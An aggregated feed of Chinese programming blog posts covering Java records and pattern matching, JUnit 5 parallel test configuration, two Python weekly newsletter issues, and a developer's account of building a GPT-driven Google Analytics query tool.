记录类的概念在其他编程语言中其实早已有之,比如 Kotlin 的 Data class 或者 Scala 的 Case class。它本质上依然是一个类,只不过使用关键字 record 来定义:

record Point(int x, int y) { }

记录类的定义非常灵活,我们可以在单独文件中定义,也可以在类内部定义,甚至在函数内部定义。记录类的使用和普通类无异,使用 new 创建即可:

Point p1 = new Point(10, 20);
System.out.println("x = " + p1.x());
System.out.println("y = " + p1.y());
System.out.println("p1 is " + p1.toString());

记录类具备如下特点:

  • 它是一个 final 类;
  • 它不能继承其他类,也不能继承其他记录类;
  • 它的所有字段也是 final 的,所以一旦创建就不能修改;
  • 它内置实现了构造函数,函数参数就是所有的字段;
  • 它内置实现了所有字段的 getter 方法,没有 setter 方法;
  • 它内置实现了 equals()hashCode()toString() 函数;

所以上面的示例和下面的 Point 类是等价的:

public final class Point {
    final int x;
    final int y;

    public Point(int x, int y) {
        this.x = x;
        this.y = y;
    }

    public int x() {
        return x;
    }

    public int y() {
        return y;
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;
        Point point = (Point) o;
        return x == point.x && y == point.y;
    }

    @Override
    public int hashCode() {
        return Objects.hash(x, y);
    }

    @Override
    public String toString() {
        return "Point{" +
                "x=" + x +
                ", y=" + y +
                '}';
    }
}

我们也可以在记录类中声明新的方法:

record Point(int x, int y) {
    boolean isOrigin() {
        return x == 0 && y == 0;
    }
}

记录类的很多特性和 Lombok 非常类似,比如下面通过 Lombok 的 @Value 注解创建一个不可变对象:

@Value
public class Point {
    int x;
    int y;
}

不过记录类和 Lombok 还是有一些区别的:

  • 根据 JEP 395 的描述,记录类是作为不可变数据的透明载体,也就是说记录类无法隐藏字段;然而,Lombok 允许我们修改字段名称和访问级别;
  • 记录类适合创建小型对象,当类中存在很多字段时,记录类会变得非常臃肿;使用 Lombok 的 @Builder 构建器模式可以写出更干净的代码;
  • 记录类只能创建不可变对象,而 Lombok 的 @Data 可以创建可变对象;
  • 记录类不支持继承,但是 Lombok 创建的类可以继承其他类或被其他类继承;

什么是记录模式(Record Patterns)?

相信很多人都写过类似下面这样的代码:

if (obj instanceof Integer) {
    int intValue = ((Integer) obj).intValue();
    System.out.println(intValue);
}

这段代码实际上做了三件事:

  • Test:测试 obj 的类型是否为 Integer
  • Conversion:将 obj 的类型转换为 Integer
  • Destructuring:从 Integer 类中提取出 int 值;

这三个步骤构成了一种通用的模式:测试并进行强制类型转换,这种模式被称为 模式匹配(Pattern Matching)。虽然简单,但是却很繁琐。Java 16 在 JEP 394 中正式发布了 instanceof 模式匹配 的特性,帮我们减少这种繁琐的条件状态提取:

if (obj instanceof Integer intValue) {
    System.out.println(intValue);
}

这里的 Integer intValue 被称为 类型模式(Type Patterns),其中 Integer 是匹配的断言,intValue 是匹配成功后的变量,这个变量可以直接使用,不需要再进行类型转换了。

匹配的断言也支持记录类:

if (obj instanceof Point p) {
    int x = p.x();
    int y = p.y();
    System.out.println(x + y);
}

不过,这里虽然测试和转换代码得到了简化,但是从记录类中提取值仍然不是很方便,我们还可以进一步简化这段代码:

if (obj instanceof Point(int x, int y)) {
    System.out.println(x + y);
}

这里的 Point(int x, int y) 就是 Java 21 中的 记录模式(Record Patterns),可以说它是 instanceof 模式匹配的一个特例,专门用于从记录类中提取数据;记录模式也经过了三个版本的迭代:JEP 405JEP 432JEP 440,现在终于在 Java 21 中发布了正式版本。

此外,记录模式还支持嵌套,我们可以在记录模式中嵌套另一个模式,假设有下面两个记录类:

record Address(String province, String city) {}
record Person(String name, Integer age, Address address) {}

我们可以一次性提取出外部记录和内部记录的值:

if (obj instanceof Person(String name, Integer age, Address(String province, String city))) {
    System.out.println("Name: " + name);
    System.out.println("Age: " + age);
    System.out.println("Address: " + province + " " + city);
}

仔细体会上面的代码,是不是非常优雅?

switch 模式匹配

上面学习了 instanceof 模式匹配,其实还有另一种模式匹配叫做 switch 模式匹配,这个特性经历了 JEP 406JEP 420JEP 427JEP 433JEP 441 五个版本的迭代,从 Java 17 开始首个预览版本到 Java 21 正式发布足足开发了 2 年时间。

在介绍这个功能之前,有一个前置知识点需要复习一下:在 Java 14 中发布了一个特性叫做 Switch Expressions,这个特性允许我们在 case 中使用 Lambda 表达式来简化 switch 语句的写法:

int result = switch (type) {
    case "child" -> 0;
    case "adult" -> 1;
    default -> -1;
};
System.out.println(result);

这种写法不仅省去了繁琐的 break 关键词,而且 switch 作为表达式可以直接赋值给一个变量。switch 模式匹配 则更进一步,允许我们在 case 语句中进行类型的测试和转换,下面是 switch 模式匹配的一个示例:

String formatted = switch (obj) {
    case Integer i -> String.format("int %d", i);
    case Long l    -> String.format("long %d", l);
    case Double d  -> String.format("double %f", d);
    case String s  -> String.format("string %s", s);
    default        -> "unknown";
};
System.out.println(formatted);

作为对比,如果不使用 switch 模式匹配,我们只能写出下面这样的面条式代码:

String formatted;
if (obj instanceof Integer i) {
    formatted = String.format("int %d", i);
} else if (obj instanceof Long l) {
    formatted = String.format("long %d", l);
} else if (obj instanceof Double d) {
    formatted = String.format("double %f", d);
} else if (obj instanceof String s) {
    formatted = String.format("string %s", s);
} else {
    formatted = "unknown";
}
System.out.println(formatted);

参考

更多

垃圾回收

ZGC

G1

CMS

扫描二维码,在手机上阅读!

by aneasystone at December 26, 2023 12:05 AM

December 25, 2023

javakk

使用JUnit5实现测试并行化

按顺序运行测试似乎是Java社区的现状,尽管现在我们的计算机有很多CPU内核。另一方面,并行执行所有这些项目在纸面上可能看起来很棒,但说起来往往容易做起来难,尤其是在已经存在的项目中。

在5.3版本中,JUnit框架引入了对并行测试执行的实验支持,这可以允许由代码驱动的选择性测试并行化。我想提出一个实用的解决方案,它应该适用于许多类型的项目,而不是对该功能进行详尽的概述(官方用户指南在这里做得很好:https://junit.org/junit5/docs/current/user-guide/#writing-tests-parallel-execution)。您可以将其视为测试并行化的一个唾手可得的成果。

拟议的方法包括三个步骤:

  1. 启用JUnit 5并行测试执行,但默认情况下按顺序运行所有测试(现状)。

2. 创建自定义的@ParallelizableTest注释,以促进类级并行化(其中的所有测试方法都将并行执行)。

3. 从单元测试开始为所选测试启用并行执行(安全默认设置)。

GitHub上提供了完整的配置(以及一些示例测试用例):https://github.com/mikemybytes/junit5-parallel-tests

启用并行执行

首先,让我们通过创建具有以下内容的junit-platform.properties文件(位于src/test/resources下)来启用JUnit并行执行:

junit.jupiter.execution.parallel.enabled = true
junit.jupiter.execution.parallel.mode.default = same_thread
junit.jupiter.execution.parallel.mode.classes.default = same_thread

除了启用特性本身,它还指定:测试类及其测试方法都应按顺序执行。默认情况下,这会保留以前的行为,即测试由同一线程逐个执行。

或者,我们可以通过pom.xml中的Maven Surefire指定JUnit配置:

<build>
  <plugins>
    <plugin>
      <artifactId>maven-surefire-plugin</artifactId>
      <version>3.0.0-M5</version>
      <configuration>
        <properties>
          <configurationParameters>
            junit.jupiter.execution.parallel.enabled = true
            junit.jupiter.execution.parallel.mode.default = same_thread
            junit.jupiter.execution.parallel.mode.classes.default = same_thread
          </configurationParameters>
        </properties>
      </configuration>
    </plugin>
  </plugins>
</build>

事实上,我建议将这两种方法结合起来,在junit-platform.properties中保留完整的配置,但允许通过专用的系统属性启用/禁用并行测试执行:

<project>
  <properties>
    <parallelTests>true</parallelTests>
  </properties>

  <build>
    <plugins>
      <plugin>
        <artifactId>maven-surefire-plugin</artifactId>
        <version>3.0.0-M5</version>
        <configuration>
          <properties>
            <configurationParameters>
              junit.jupiter.execution.parallel.enabled = ${parallelTests}
            </configurationParameters>
          </properties>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

这样,默认情况下,所选测试将并行运行,但它们仍然可以按需顺序运行,mvn clean verify -DparallelTests=false

注意:有了所有高级/非标准的JUnit5功能,Surefire版本值得切换到3.x分支,因为那里引入了各种兼容性改进。

并行注释

通过使用Junit 5@Executionhttps://junit.org/junit5/docs/current/api/org.junit.jupiter.api/org/junit/jupiter/api/parallel/Execution.html)注释测试类或测试方法,我们可以控制其并行执行。让我们来看看这个小例子:

Execution(ExecutionMode.CONCURRENT) // note: propagates downstream!
class MyParallelTest { // runs in parallel with other test classes

    @Test
    @Execution(ExecutionMode.CONCURRENT)
    void shouldVerifySomethingImportant() {
        // runs in parallel with other test cases
        // (would behave the same without the annotation - inherited)
    }
    
    @Test
    @Execution(ExecutionMode.SAME_THREAD)
    void shouldVerifySomethingImportantSequentially() {
        // runs in the same thread as its parent (override)
    }
    
    // ...

}

这种在类级别应用的注释将对其内部的所有未注释的测试用例产生影响。因此,一旦我们在测试类级别上启用了并发执行,它的所有测试用例也将并行执行。这意味着,当测试用例彼此完全独立时,应该使用这样的技术。

幸运的是,JUnit 5已经为我们改进了测试用例之间的分离:

为了允许单独的测试方法被隔离执行,并避免由于可变的测试实例状态而产生意外的副作用,JUnit在执行每个测试方法之前为每个测试类创建一个新的实例

这意味着,即使我们有一些共享的非静态字段(例如mock),每个测试用例也会得到自己的实例。这使得在测试类级别上启用并发执行对于大多数用例来说足够安全。

为了促进这样的类级并行化,我们可以创建自己的@ParallelizableTest注释,该注释(与JUnit注释不同)不能用于测试用例(方法)级:

@Execution(ExecutionMode.CONCURRENT) // <- the original JUnit annotation
@TestInstance(TestInstance.Lifecycle.PER_METHOD)
// ^ makes the default "safe behavior" explicit
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE) // class-level only
public @interface ParallelizableTest {
}

由于junit-platform.properties的默认顺序设置,现在只有用@ParallelizableTest注释的测试类可以并行运行。这使我们能够轻松地进行逐个测试的选择。

@ParallelizableTest
class MyParallelTest { // runs in parallel with other test classes
    // ...
}

在内部有大量测试代码的现有项目中,可以使用这种技术随着时间的推移迭代地增加并行测试的数量。

与依赖内置注释相比,所提出的方法具有两个优点。首先,它防止我们过于频繁地使用它们——例如,在没有充分理由的情况下混合类和测试用例级别的声明。其次,它显式地启用了“每个方法单独的实例”语义,因此我们不再依赖于可重写的默认值。

选择要并行化的内容

最后,有了所有可用的机制,我们必须决定首先并行化什么。答案可以在一个古老的测试金字塔中找到。

单元测试是最容易首先并行化的测试,这并不奇怪。通常,唯一需要做的事情就是用@ParallelizableTest对它们进行注释,因为其他操作应该仍然有效。尽管在减少总执行时间方面是最不有利的,但低工作量使并行化几乎是免费的。事实上,这样做强调了它们与其他测试的内在隔离。

注意:关于“单元测试”的真正含义,似乎有很多争议。为了避免混淆,我引用Vladimir Khorikov的《单元测试:原理、实践和模式》一书中的定义:

单元测试验证单个行为单元,快速执行,并与其他测试隔离执行。

作为下一步,您可能需要选择其他测试类并将它们并行化。虽然这些可能会显著减少执行时间,但所需的工作量也可能会增加。例如,重新使用相同的DB实例可能需要在所有并行测试中进行适当的数据随机化,以防止交叉干扰。在某些用例中,Junit 5更复杂的同步选项也会有所帮助(https://junit.org/junit5/docs/snapshot/user-guide/#writing-tests-parallel-execution-synchronization)。

特别是对于一些非琐碎的测试,由于引入的复杂性,并行化的成本甚至可能超过利润。这就是为什么我认为选择性测试并行化如此有益。

为了本文的目的,我创建了一个由6个测试类组成的小示例项目(https://github.com/mikemybytes/junit5-parallel-tests),每个测试类有3个测试用例(分别命名为ABC)。其中一半可以使用上述配置并行运行。每个测试用例都在开始和结束时打印其线程名称、类和用例名称。运行mvn-clean-verify(并通过配置将并行度限制为6个线程:https://junit.org/junit5/docs/current/user-guide/#writing-tests-parallel-execution-config)似乎证明了所提出的设置的正确性:

[INFO] -------------------------------------------------------
[INFO]  T E S T S
[INFO] -------------------------------------------------------
[INFO] Running com.mikemybytes.junit.parallel.Parallel1Test
[INFO] Running com.mikemybytes.junit.parallel.Parallel2Test
[INFO] Running com.mikemybytes.junit.parallel.Parallel3Test
[INFO] Running com.mikemybytes.junit.sequential.Sequential3Test
[ForkJoinPool-1-worker-5] START: Parallel3Test#A
[ForkJoinPool-1-worker-6] START: Parallel3Test#B
[ForkJoinPool-1-worker-4] START: Parallel3Test#C
[ForkJoinPool-1-worker-3] START: Parallel2Test#C
[ForkJoinPool-1-worker-1] START: Sequential3Test#A
[ForkJoinPool-1-worker-2] START: Parallel1Test#C
[ForkJoinPool-1-worker-6]   END: Parallel3Test#B
[ForkJoinPool-1-worker-6] START: Parallel2Test#A
[ForkJoinPool-1-worker-3]   END: Parallel2Test#C
[ForkJoinPool-1-worker-4]   END: Parallel3Test#C
[ForkJoinPool-1-worker-3] START: Parallel2Test#B
[ForkJoinPool-1-worker-7] START: Parallel1Test#A
[ForkJoinPool-1-worker-5]   END: Parallel3Test#A
[ForkJoinPool-1-worker-1]   END: Sequential3Test#A
[ForkJoinPool-1-worker-2]   END: Parallel1Test#C
[ForkJoinPool-1-worker-1] START: Sequential3Test#B
[ForkJoinPool-1-worker-5] START: Parallel1Test#B
[INFO] Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.784 s - in com.mikemybytes.junit.parallel.Parallel3Test
[ForkJoinPool-1-worker-6]   END: Parallel2Test#A
[ForkJoinPool-1-worker-1]   END: Sequential3Test#B
[ForkJoinPool-1-worker-1] START: Sequential3Test#C
[ForkJoinPool-1-worker-3]   END: Parallel2Test#B
[ForkJoinPool-1-worker-7]   END: Parallel1Test#A
[INFO] Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.284 s - in com.mikemybytes.junit.parallel.Parallel2Test
[ForkJoinPool-1-worker-5]   END: Parallel1Test#B
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.289 s - in com.mikemybytes.junit.parallel.Parallel1Test
[ForkJoinPool-1-worker-1]   END: Sequential3Test#C
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.547 s - in com.mikemybytes.junit.sequential.Sequential3Test
[INFO] Running com.mikemybytes.junit.sequential.Sequential2Test
[ForkJoinPool-1-worker-1] START: Sequential2Test#A
[ForkJoinPool-1-worker-1]   END: Sequential2Test#A
[ForkJoinPool-1-worker-1] START: Sequential2Test#B
[ForkJoinPool-1-worker-1]   END: Sequential2Test#B
[ForkJoinPool-1-worker-1] START: Sequential2Test#C
[ForkJoinPool-1-worker-1]   END: Sequential2Test#C
[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.775 s - in com.mikemybytes.junit.sequential.Sequential2Test
[INFO] Running com.mikemybytes.junit.sequential.Sequential1Test
[ForkJoinPool-1-worker-1] START: Sequential1Test#A
[ForkJoinPool-1-worker-1]   END: Sequential1Test#A
[ForkJoinPool-1-worker-1] START: Sequential1Test#B
[ForkJoinPool-1-worker-1]   END: Sequential1Test#B
[ForkJoinPool-1-worker-1] START: Sequential1Test#C
[ForkJoinPool-1-worker-1]   END: Sequential1Test#C
[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 2.024 s - in com.mikemybytes.junit.sequential.Sequential1Test
[INFO]
[INFO] Results:
[INFO]
[INFO] Tests run: 18, Failures: 0, Errors: 0, Skipped: 0

标记为可并行的测试彼此并行运行(正如预期的那样),但也与顺序测试并行运行。这一开始可能看起来有点可疑。然而,由于我们的可并行测试声称独立于其他测试,所以它们应该不会对逐个运行的测试造成损害。此外,所有的顺序测试都在同一个线程上执行(ForkJoinPool-1-worker-1)。

局限性

在撰写本文时,所提出的方法的主要局限性与为测试执行生成的Maven Surefire插件报告的准确性有关。在示例项目中,有3个测试类并行执行,每个测试类有3个用例。这意味着我们预计总共会报告9项测试。然而,target/surefire报告中提供的报告似乎表明了一些不同的情况。

-------------------------------------------------------------------------------
Test set: com.mikemybytes.junit.parallel.Parallel1Test
-------------------------------------------------------------------------------
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.289 s - in com.mikemybytes.junit.parallel.Parallel1Test
-------------------------------------------------------------------------------
Test set: com.mikemybytes.junit.parallel.Parallel2Test
-------------------------------------------------------------------------------
Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.284 s - in com.mikemybytes.junit.parallel.Parallel2Test
-------------------------------------------------------------------------------
Test set: com.mikemybytes.junit.parallel.Parallel3Test
-------------------------------------------------------------------------------
Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.784 s - in com.mikemybytes.junit.parallel.Parallel3Test

这是一个已知的Surefire限制(请参阅Surefire-1643:https://issues.apache.org/jira/browse/SUREFIRE-1643和Surefire-1795:https://issues.apache.org/jira/browse/SUREFIRE-1795),与JUnit 5无关——报告部分仅支持一系列测试事件。

这就是为什么如前所述允许按需顺序执行如此重要的原因。如果出现任何问题(或者某个工具依赖于生成的报告),我们仍然可以使用-DparallelTests=false逐个运行测试。

总结

JUnit5中引入的并行测试执行是一个简单但强大的工具,可以更好地利用我们的硬件资源,缩短反馈循环。只并行运行选定的测试可以让我们完全控制测试执行和“速度与工作量”的权衡。正因为如此,我们可以逐渐提高测试的并行性,而不是一次更改所有内容。尽管有一些限制,但并行测试执行已经是我们开发工具箱中的一个有用的补充。

原文链接:https://mikemybytes.com/2021/11/24/pragmatic-test-parallelization-with-junit5/

by sofia at December 25, 2023 12:00 AM

December 23, 2023

pythoncat

Python 潮流周刊#32:打造个人的新闻聚合阅读器

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🦄文章&教程

在 CPU 密集型任务中,通常要根据 CPU 核心数来设置线程/进程池的大小。但如何确定实际用多少个 CPU 最合适呢?物理 CPU 和逻辑 CPU 是什么?如何测试设置多少 CPU 数比较合适?
Python 新手经常会遇到包相关的问题,主要原因之一是不清楚 Python 是如何找包的。文章介绍了 Python 查找包的顺序、它是如何安装包的、虚拟环境的作用、脚本运行方式对搜索路径的影响等。
Victor Stinner 是很活跃的核心开发者,他在 Python 3.13 alpha 1 中删除了 300 多个私有 C API 函数,收到了一些负面反馈,在 alpha 2 版本中又恢复了 50 个函数。文章记录他所做的事情,以及社区中大家的反馈。
如何给 list 这种可变对象创建副本?对于一维列表,文章介绍了三种方法;但是对于二维列表,就涉及浅拷贝与深拷贝问题,需要使用 copy.deepcopy() 。(附注:作者的“Python Gotcha ”系列短文,介绍了 Python 的一些使用注意事项。)
Asyncio 任务有手工取消和自动取消,文章介绍了 6 项最佳实践,给出了相应的示例。
我们通常将可变或敏感的参数放到配置文件中,可以使用哪些方式呢?有 ini、json、toml、yaml 等文件,也有环境变量等方式。在什么时候做配置的初始化呢?测试时如何修改配置呢?文章分享了一些使用技巧。
文章介绍了一些配置 Web 服务器的最佳实践(涉及 Gunicorn、Uvicorn 和 Hypercorn)。针对 ASGI 和 WSGI 两类标准接口的差异,如何设置 worker 数和线程数,如何使用 Locust 等工具来作测试,不同 Web 开发框架该用什么方案?
Python 不支持三元运算符,但它有一个很特殊的条件选择语法 ,为什么会这样设计呢?文章梳理了 Python 波折的语法设计故事,同时介绍了 Go 和 Rust 不谋而合的做法,让人思考什么才是编程语言中更好的语法设计?
你也许在 sorted() 和 list.sort() 函数中看到过“key”参数,除此之外,还有很多函数带有这个参数,比如 max() 和 min(),文章介绍了相关函数中对这个参数的用法
Python 中可以使用@dataclass 装饰器来定义数据类,它会自动添加 __init____repr____eq__ 等魔术方法,减少代码量。作者建议定义不可变的数据类,不用将它像普通类一样作变更属性的操作,如果在普通类中要用__repr__ 等方法,建议是手写实现。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

想不想拥有个人定制化的内容阅读器?它支持解析 RSS 源、拉取 Mastodon 消息、阅读标记、本地文章阅读和预览、支持发送到 Kindle。(附:作者为什么以及如何开发这个项目 Reclaiming the Web with a Personal Reader
Google 推出的生成式 AI 开发工具,可快速基于 Gemini 和 PaLM 大模型开发 AI 应用。支持文本生成、多轮对话、嵌入等。
一本基于 abook 编写的开源电子书,涵盖了从 Python 环境安装到项目开发的方方面面。通过大量案例对比 JavaScript 和 Python 语言的异同,帮助 JavaScript 工程师快速掌握 Python 语言。(投稿自@luckrnx09
可自动检测和利用 SQL 注入缺陷而入侵数据库。具有强大的检测引擎、数据库指纹识别、从数据库查询数据、访问底层文件系统、在操作系统上执行命令等。(star 29.4K)
基于 Requests 模块实现的数据采集工具,功能非常齐全!支持命令行模式、Web UI 模式和接口调用模式。(star 1.5K)(附:第 25 期分享过作者的小红书采集工具 XHS_Downloader
这是一个靠演示效果把我惊艳到的项目!直接看下方的演示图吧:
使用 Django 快速搭建个人博客和播客网站,Wagtail 作为 CMS 可方便管理文章和播客节目。支持播放播客和视频,支持评论和垃圾邮件过滤,可自定义网站主题。
Hexo 博客后台管理,自定义图床上传图片、在线页面管理、开放 API、一键更新、快速接入友情链接。(star 1.2K)
星星数超多的资源收集类项目,分不同编程语言和技术领域,收集了很多实战项目类的教程。(star 142K)
它的目标是提供一个平台来研究将任意输入转换为音频。已支持 TTS 文本转语音、SVC 歌声转换、TTA 文本到音频,支持广泛使用的神经声码器。(star 2.2K)

🐢播客&视频

今年 PyConChina 活动的一部分视频已发布了,可在 B 站上观看。
PyCoder’s Weekly 是我长期在看的周刊,这期播客聊了它的一些总结性话题,比如点击量前 5 的链接、今年一些重要的新闻、今年的重要主题和趋势、有意思的项目,等等。
视频比较了使用 requests、httpx 和 aiohttp 的情况,讨论了异步请求的使用等话题。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 23, 2023 12:00 AM

December 21, 2023

greatdk

我试图用 GPT 改造 Google 统计,但最终变成了一个有点鸡肋的产品

自从几个月前我开始用 AI 改造热量记录工具,发现效果不错之后,我就开始琢磨用 AI 干点更复杂的事情,想必很多人都和我一样,对于网络上铺天盖地的AI毁灭世界论,以及实际上看到最多的例子就是用AI来生成色图和软文的现状,感到有点不满。

在这篇文章,我会讲述一个实际例子,一个试图让 AI 能力和复杂逻辑相结合,成为一个更好用的工具的例子,在这个过程中,我也发现了在面对多维复杂性时——输入的复杂和处理的复杂,即便是最顶尖的 AI 模型也难以解决的问题。

 

Google Analytics

我是一个Google Analytics( Google 统计)的用户,Google统计,也被称之为 GA,应该是最老牌的网站统计服务之一,网站统计服务,某种意义上,是任何网站和 app 都必须使用的服务,你只需要在代码中植入一小段,然后就能直观的看到你的网站有多少人来过,他们看了些什么,他们从哪里来等等。

去年,Google 统计进行了改版,升级为了 GA4,这项升级前卫但复杂,很多老用户对新版 Google 统计感到茫然,因为熟悉的东西都没了,想看一些针对性的数据,需要自己创建报告,这又是一个极其复杂的页面:

搭配 GA4,Google 也一起发布了新的 API,调用这些 API,可以从GA 获得任何你想要的数据。因此,当我看到 openai 发布 functions 功能后,我开始意识到,我也许能用AI来改造 GA,让它更人性化一点。

GPT functions

我的构想非常简单,用户输入希望看到的数据,交由 gpt functions 转化为需要调用的API,然后再去 GA调用API,然后将获得的数据进行渲染。

但当我真正开始了解 gpt functions 的时候,我发现这里还差得远。

首先 gpt functions 支持的参数类型非常有限,主要是枚举和字符串,但是当我需要以数组类型传递参数,并且数组包含的值是枚举中的不确定的几个的时候,functions 就完全没办法实现。

然而让我懵逼的不是这个,而是即便我按照文档,在输入中确定了枚举的值,gpt 依然会有幻觉,捏造出一个不在枚举中的字符串。这种情况的 GPT 有点类似于下面的领导。

解决这两个问题花费了我大量时间,事实是我其实没办法「解决」,而只是「绕过」了这些问题,我根据 Google 文档,手写了大量规则来修正模型输出的错误。

在这些工作完成后,我终于可以做出一个 demo,它具备这样的能力:你直接描述你想要看到什么数据,然后就能看到,例如:

这个原型产品其实花费了我大量的精力,因为我需要把 Google的 API 全部捋一遍,在这个过程中,我发现了我面对的这些 API 的复杂之处。

GA 的核心 API,叫做 runReport,核心参数主要有两个,一个是维度(dimension),一个是指标(metric),例如,把城市设定为纬度,总用户设定为指标,那么就能获取每个城市的用户:

GA 支持相当多的纬度和相当多的指标(大几十种)

将这些指标和纬度告诉 gpt,并让其选择合适的,似乎行得通,但马上我们会遇到更复杂一些的情况。

复杂之处

GA 的接口,支持你传入多个纬度和多个指标,这让获得的数据变成了多维的,例如,维度设定为「城市」和「日期」,指标依然是「总用户」,那么 GA 会将每个城市和每天的总用户都输出,当我需要知道北京11月21日有多少用户访问时,合理的设置多个纬度就可以达到这个目的。

但这只是第一层的复杂度,即多维度,多指标。

GA 同时支持一个叫做「筛选」的参数,这个筛选参数非常复杂,也非常强大,它支持纬度的筛选和指标的筛选,并且每个筛选都支持多种控制逻辑:和/与/非

而在和/与/非逻辑之中,还可以设定匹配类型和匹配逻辑,甚至可以写正则。

同样在上面的例子中,如果我想知道「北京11月21日有多少用户访问」,除了设定多个纬度之外,更简单的办法则是设置单一维度「日期」,但是将筛选项设定为「城市包含北京」

这是第二层复杂度,即筛选逻辑的控制。

然而,GA 还有一个接口,即 batchRunReports,同时获取多个数据报告,每个报告都包含独立的纬度,指标和筛选,并汇总给你,在面对相当复杂的需求时,往往需要汇总多个报告的数据才能达到目的,而这是第三层复杂度。

在梳理 API 的同时,我也在对 GPT 能力进行实验,我发现即便还不涉及到第一种复杂度,gpt functions已经错误频出,而当我要求其设置多个纬度和参数时,给出的结果更是糟糕——我用的是GPT4,这应该是目前最智慧的大模型。

GPT 似乎只能处理最简单的情况,例如「过去一周的活跃用户」或「最受欢迎的页面有哪些」,这些情况仅下,需要一个纬度和一个指标就能获得合适的数据,但如果我的需求描述的再复杂一点,例如「来自北京的用户最喜欢浏览什么页面」,那么极大概率 GPT 就无法给出正确的参数。

讲道理,如果因为上面的问题,认为 GPT 很愚蠢,那就很愚蠢了,因为我给 GPT 的任务,其实是复杂的数据分析任务,这里面需要:

1.判断用户的问题和需求
2.筛选可能适合的字段和接口使用方式
3.合理的使用这些字段,得到精确的调用参数

这些需求并不简单,能够从 GA 中手动获取到「来自北京的用户最喜欢浏览什么页面」,并且进一步给出一些建议和结论的人,理论上已经可以胜任初级的数据分析师了,拿几千块钱一个月应该问题不大。

可能的办法

事实上,确实可以通过一些办法来提高效果,例如,用 agent 思维,将一个查询拆分成多个数据获取任务,然后每个任务都通过GPT 函数给出接口运行的参数,然后再进行汇总。

但这个过程过于复杂,而且很难进行完全的工程化,还会造成成本直接提高数倍,所以目前还很难运用到项目上。

另一种方案是将 gpt 进行微调,喂入 GA API 文档的相关数据,理论上这应该可以让模型对接口更熟悉,也会更容易给出合理的参数,但是这一步成本则更加高昂,并且 GPT4 还没有微调的接口开放,所以我没有测试。

正因为如此,这个项目我撸了一周之后,发现它变得有点鸡肋:它确实实现了将口语表达的查询,转化成直接的数据图表和结论,但当你的需求比较复杂的时候,它则会失效,而后者,才是我开始希望做这个产品的原因。

目前这个产品我已经发布到线上了,虽然我设置了付费计划,但我不认为真的会有人愿意为之付费,因为就目前的能力来说,它能获取的数据只有最浅表的一层,能够给出的结论和分析也浮于表面,如果你感兴趣,可以直接去试试看(GACopilot)。

但另一方面,我毫不怀疑,随着模型能力的提高,或者一些新的模型工具和使用思维的诞生,这一工具可以变得更有用,我也确信,当下的这些问题并非能够通过 prompt 工程来解决,也正因为如此,这才是一个更有价值的 AI 能力的应用方向。

这是我的一点探索,大模型事实上已经进入我们的日常生活了,但我认为还只是一个非常早期的开始,与我们息息相关的越来越多的东西都会融入大模型的能力,但很明显,离 AGI 或者能毁灭人类,还有相当遥远的时间。

by DK at December 21, 2023 07:17 AM

December 16, 2023

pythoncat

Python 潮流周刊#31:继 iOS 后,新 PEP 提议官方添加 Android 为支持平台

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🦄文章&教程

周刊第 24 期分享过 PEP-730 CPython 提供对 iOS 的官方支持 ,这个 PEP-738 则是将目标转到了 Android 系统。目前两个 PEP 都是草案状态,但 Android 使用的是 Linux 内核,也许这个 PEP 被采纳的可能性会更大些吧?(附:今年 Python 语言峰会上的 Python on Mobile: State of the Union
第 29 期分享的 PDF 转 Markdown 工具 Marker 短短两周时间已经逼近 5K star了。这篇文章解读了它的工作原理,介绍了它的 6 个阶段及所依赖到的工具(PyMuPDF、OCRMyPDF、Tesseract 等等)。
Python 3.10 引入了 match-case 模式匹配语法,你们在项目中用过了么?这篇文章介绍了一种使用场景,是处理 Github 机器人返回的复杂 JSON 数据,相比传统的写法,它使得代码变得简单了。
Discord 的官方博客文章,分享了他们将某个测试从 20 秒提升到 2 秒的故事!做法是使用“pytest 守护进程”和热加载,确保在需要测试时马上有进程可用,省去了即时准备工作的耗时。文章还提到了一个实现同样功能的开源项目 pytest-hot-reloading
开发一个在手机上 SDXL text-to-image 的 Demo,这听起来就不是一件简单的事情,但这篇文章介绍说只用 88 行 Python 代码就能实现?!用的技术是 BeewareLeptonAI,前者在我们周刊中出现过多次(例如上文中的两个 PEP 都与它有很深的联系),后者是知名 AI 专家 @贾扬清 的创业项目。
作者指出了一些常见的 Python 多余/错误用法,包括# -*- coding: utf-8 -*-range(len(xx)) 、追踪循环的位置、用 index() 判断是否包含、单独的 getter 和 setter。其中第一个关于编码的确实很常见,它也让我想起另一个经常被无意识使用的if __name__ == '__main__' 。(附:为什么我不推荐写所谓的 main 函数?
if TYPE_CHECKING 的作用是为了实现条件式导入模块,基本示例如下:
from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from collections.abc import Sequence

def func(value: Sequence[int]) -> None:
    pass
在什么情况下要这样用呢?文章介绍了这种模式的必要性,简单结论:在 mypy 强制执行的类型检查和运行时的类型检查之间作出权衡,特别是在有大量循环依赖的情况下。
